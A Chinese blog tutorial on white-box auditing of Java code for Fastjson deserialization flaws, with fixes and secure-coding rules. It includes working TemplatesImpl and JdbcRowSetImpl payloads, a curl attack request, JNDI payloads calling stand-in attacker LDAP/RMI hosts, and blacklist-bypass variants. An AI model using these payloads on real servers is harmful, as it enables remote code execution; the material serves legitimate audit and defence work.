Java白盒审计之Fastjson反序列化漏洞(附修复方案)

网络安全 潘老师 3周前 (04-01) 32 ℃ (0) 扫码查看

在Java应用程序的安全审计时,Fastjson反序列化漏洞不容忽视,建议大家深入了解这一漏洞的原理、利用方式以及防护措施,接下来,我们就详细探讨Java漏洞在白盒审计中Fastjson反序列化相关的知识。

一、Fastjson反序列化漏洞原理

Fastjson反序列化漏洞的根源在于其反序列化过程中的AutoType机制。在Fastjson中,通过@type标识来指定类名,在反序列化时会尝试实例化该类。这就给攻击者提供了可乘之机,他们可以指定包含危险方法的类,如TemplatesImpl,构造恶意JSON数据。一旦服务端对这类恶意数据进行反序列化操作,就可能触发任意代码执行,导致严重的安全问题 。

需要注意的是,该漏洞主要存在于1.2.24及之前版本。在后续版本中,Fastjson通过关闭AutoType默认值等方式增加了安全防护,但也出现了一些新的绕过技巧,这在后面会详细介绍。

二、漏洞代码示例

2.1 存在漏洞的服务端代码(以Spring Boot为例)

@RestController
public class VulnerableController {
    
    @PostMapping("/parse")
    public String parseJson(@RequestBody String json) {
        // 直接使用fastjson解析不可信数据,存在安全风险
        Object obj = JSON.parseObject(json, Object.class, Feature.SupportNonPublicField);
        return "Parsed: " + obj.getClass().getName();
    }
}

这段代码中,VulnerableControllerparseJson方法接收一个JSON格式的字符串,并使用JSON.parseObject方法进行解析。这里直接解析不可信数据,且未指定具体的反序列化类型,还开启了Feature.SupportNonPublicField支持非公有字段的反序列化,为漏洞的利用创造了条件。

2.2 恶意类构造(攻击者准备的Exploit类)

public class EvilClass {
    static {
        try {
            // 弹计算器作为攻击演示,实际攻击可能执行更危险的操作
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

这个EvilClass类的静态代码块中,使用Runtime.getRuntime().exec("calc.exe")尝试执行系统命令打开计算器。在实际攻击场景中,攻击者可能会执行更具破坏性的操作,如窃取数据、植入后门等。

三、攻击利用过程

3.1 构造恶意JSON

{
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes": ["恶意类的字节码(Base64编码后的EvilClass.class)"],
    "_name": "xxx",
    "_tfactory": {},
    "_outputProperties": {}
}

攻击者构造的恶意JSON数据中,通过@type指定了危险类com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,并将恶意类的字节码经过Base64编码后放在_bytecodes字段中。

3.2 攻击步骤

  1. 首先,攻击者需要编译EvilClass.java生成class文件。
  2. 接着,将生成的class文件进行Base64编码,得到适合放在恶意JSON中的数据。
  3. 最后,发送恶意HTTP请求:
curl -X POST http://vulnerable-server/parse \
-H "Content-Type: application/json" \
-d '{
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes": ["yv66vgAAADIAlgo..."],
    "_name": "hack",
    "_tfactory": {},
    "_outputProperties": {}
}'

3.3 漏洞触发过程

当服务端执行JSON.parseObject()方法解析恶意JSON数据时:

  1. 首先解析@type指定的类,尝试实例化TemplatesImpl
  2. 在实例化过程中,会自动调用getOutputProperties()方法。
  3. 该方法会加载恶意字节码,进而执行恶意类EvilClass静态代码块中的代码,实现攻击目的。

四、代码审计关键点

在对Fastjson代码进行审计时,有几个关键的地方需要重点关注:

4.1 危险方法调用

// 高风险用法,直接解析JSON字符串,未指定具体类型,存在安全隐患
JSON.parse(jsonStr);
JSON.parseObject(jsonStr, Object.class);
JSON.parseObject(jsonStr, Type.class, Feature.SupportNonPublicField); 

// 相对安全的用法,指定了具体的反序列化类型,降低风险
JSON.parseObject(jsonStr, User.class); 

在代码中,如果发现使用JSON.parseJSON.parseObject等方法时未指定具体类型,尤其是还开启了Feature.SupportNonPublicField,就需要特别警惕,这很可能存在安全漏洞。

4.2 AutoType相关配置

检查代码中是否存在对Fastjson的AutoType相关配置:

ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 危险配置,开启AutoType支持,容易引发漏洞
ParserConfig.getGlobalInstance().addAccept("com.example."); // 白名单控制,设置可接受的类名前缀,但需确保白名单的合理性

若开启了setAutoTypeSupport(true),会增加反序列化漏洞的风险;而使用addAccept设置白名单时,要仔细检查白名单的范围是否合理,避免出现绕过的情况。

五、修复方案与安全编码规范

5.1 基础修复措施

<!-- (1) 升级到安全版本(1.2.83+),新版本增强了安全性,默认关闭AutoType -->
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.83</version>
</dependency>

// (2) 手动关闭AutoType,降低漏洞风险
ParserConfig.getGlobalInstance().setAutoTypeSupport(false); 

// (3) 使用安全模式(1.2.68+),进一步增强安全性
ParserConfig.getGlobalInstance().setSafeMode(true); 

升级Fastjson版本、关闭AutoType或使用安全模式,都能有效降低反序列化漏洞的风险。

5.2 安全编码规范

// 反序列化时指定具体类型,确保解析的数据符合预期
User user = JSON.parseObject(jsonStr, User.class); 

// 避免反序列化接口/抽象类等非具体类型,减少安全风险

在进行反序列化操作时,尽量指定具体的类,避免反序列化接口或抽象类等非具体类型的数据,从编码层面提升安全性。

六、漏洞验证POC

下面是一个本地验证Fastjson反序列化漏洞的完整代码:

public class FastjsonPoc {
    public static void main(String[] args) {
        // 构造恶意JSON,这里使用JNDI注入方式演示
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
                "\"dataSourceName\":\"ldap://attacker-server/Exploit\"," +
                "\"autoCommit\":true}";

        // 模拟服务端反序列化操作
        try {
            JSON.parse(payload);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

这段代码构造了一个包含JNDI注入的恶意JSON数据,并模拟服务端进行反序列化操作。通过运行该代码,可以验证Fastjson是否存在反序列化漏洞。但需要注意的是,在实际测试时,要确保测试环境的安全性,避免对生产环境造成影响。

七、拓展知识:Gadgets链与绕过方式

7.1 Gadgets链

在实际攻击中,攻击者通常需要构造利用链来实现攻击目的。常见的Gadgets链有:

  • JdbcRowSetImpl(JNDI注入):利用该类的特性,通过JNDI注入实现远程代码执行。
  • TemplatesImpl(字节码加载):通过加载恶意字节码,执行其中的恶意代码。
  • BCEL ClassLoader:利用BCEL ClassLoader加载恶意类,进而执行恶意操作。

7.2 绕过方式

随着Fastjson版本的更新,虽然安全性有所提升,但也出现了一些新的绕过技巧:

  • 使用特殊类名:如使用以L开头、;结尾的类名,利用Fastjson对类名处理的特点绕过黑名单。
  • 利用第三方库:利用未在黑名单中的第三方库,构造恶意数据绕过检测。
  • 特殊字符绕过:通过一些特殊字符的组合,绕过安全检查机制。

八、真实案例分析

8.1 案例1:TemplatesImpl字节码加载(无网络交互利用链)

  • 漏洞版本:Fastjson <=1.2.24
  • 利用链原理:通过_bytecodes字段加载恶意类字节码,利用TemplatesImpl类的getOutputProperties()方法触发类加载。
  • 攻击步骤
    1. 编写一个继承AbstractTranslet的恶意类(如EvilObject),在静态代码块或构造函数中植入恶意代码,比如执行系统命令。
    2. 将恶意类编译为.class文件,并进行Base64编码。
    3. 构造Payload:
{
  "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes": ["恶意字节码Base64"],
  "_name": "a.b",
  "_tfactory": {},
  "_outputProperties": {}
}
4. 当服务端调用`JSON.parseObject()`时,`TemplatesImpl`的`getOutputProperties()`方法被触发,加载并执行恶意字节码中的代码。
  • 技术细节_bytecodes字段用于存储恶意类字节码,_outputProperties字段会触发getOutputProperties()方法。需要启用Feature.SupportNonPublicField来支持非公有字段的反序列化,才能成功利用该漏洞。

8.2 案例2:1.2.47版本缓存机制绕过AutoType

    • 漏洞版本:Fastjson 1.2.47
    • 利用链原理:利用Fastjson的缓存机制绕过AutoType黑名单,结合java.lang.ClassJdbcRowSetImpl实现JNDI注入。
    • 攻击步骤

1.构造双Payload:

{
  "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" },
  "b": { 
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://attacker-ip:1389/Exploit",
    "autoCommit": true
  }
}

2. 第一个Payload通过`java.lang.Class`将`JdbcRowSetImpl`类名加入缓存,第二个Payload利用缓存机制绕过黑名单检查。
3. 触发`autoCommit`属性后,服务端连接攻击者控制的LDAP/RMI服务器,加载远程恶意类。

  • 技术细节:Fastjson在解析java.lang.Class时会将类名缓存,后续解析时跳过黑名单校验。该方法适用的场景是JDK版本需支持JNDI远程加载,如JDK 8u191之前的版本。

8.3 案例3:CTF比赛中利用FlagBean类的Getter方法

  • 漏洞场景:CTF竞赛中的Flag读取
  • 利用链原理:通过无setter但满足条件的getter方法触发敏感操作。
  • 攻击步骤

1.构造Payload:

{
  "@type": "com.ctfshow.happyfjs.Beans.FlagBean",
  "flag": { "@type": "java.util.HashMap" }
}

2. `FlagBean`类中`getFlag`方法满足以下条件时会被触发:方法名以`get`开头且第四个字符大写;返回值类型为`Map`;无对应的`setFlag`方法。
3. `getFlag`方法内部逻辑可能触发命令执行或直接返回Flag。

  • 技术细节:Fastjson在无setter时,若getter满足特定条件(如返回值继承自Collection/Map),则会被调用。攻击者通过构造合法的类结构触发隐藏逻辑,实现攻击目的。

8.4 案例4:1.2.41版本黑名单绕过(类名双写)

  • 漏洞版本:Fastjson 1.2.41
  • 利用链原理:利用Fastjson对类名处理的缺陷,通过双写类名绕过黑名单。
  • Payload构造
{
  "@type": "LLcom.sun.rowset.JdbcRowSetImpl;;",
  "dataSourceName": "rmi://attacker-ip:1099/Exploit",
  "autoCommit": true
}
  • 绕过原理:Fastjson在解析类名时会去除开头的L和结尾的;,导致实际加载的类名为com.sun.rowset.JdbcRowSetImpl,从而绕过黑名单检查。

九、漏洞修复与防御建议

  1. 升级版本:使用Fastjson >=1.2.83版本,该版本默认关闭AutoType并增强了黑名单机制,能有效防范反序列化漏洞。
  2. 安全配置:通过ParserConfig.getGlobalInstance().setSafeMode(true); 完全禁用AutoType,进一步提升安全性。
  3. 输入验证:在反序列化之前,对输入的JSON数据进行严格验证,避免反序列化未经验证的数据。同时,尽量使用具体类进行反序列化,而不是Object.class
  4. 运行时防护:通过设置系统属性-Dcom.sun.jndi.ldap.object.trustURLCodebase=false,限制JNDI远程加载,防止JNDI注入攻击。

十、总结

Fastjson反序列化漏洞的核心在于AutoType机制以及危险类的链式调用。在进行Java白盒审计时,要重点关注JSON.parseObject()未指定具体类型的情况,仔细检查黑名单的覆盖范围以及是否存在绕过可能性,同时留意敏感类(如TemplatesImplJdbcRowSetImpl)的调用路径。只有全面掌握这些知识,并采取有效的防护措施,才能有效防范Fastjson反序列化漏洞带来的安全风险。


版权声明:本站文章,如无说明,均为本站原创,转载请注明文章来源。如有侵权,请联系博主删除。
本文链接:https://www.panziye.com/safe/16716.html
喜欢 (0)
请潘老师喝杯Coffee吧!】
分享 (0)
用户头像
发表我的评论
取消评论
表情 贴图 签到 代码

Hi,您需要填写昵称和邮箱!

  • 昵称【必填】
  • 邮箱【必填】
  • 网址【可选】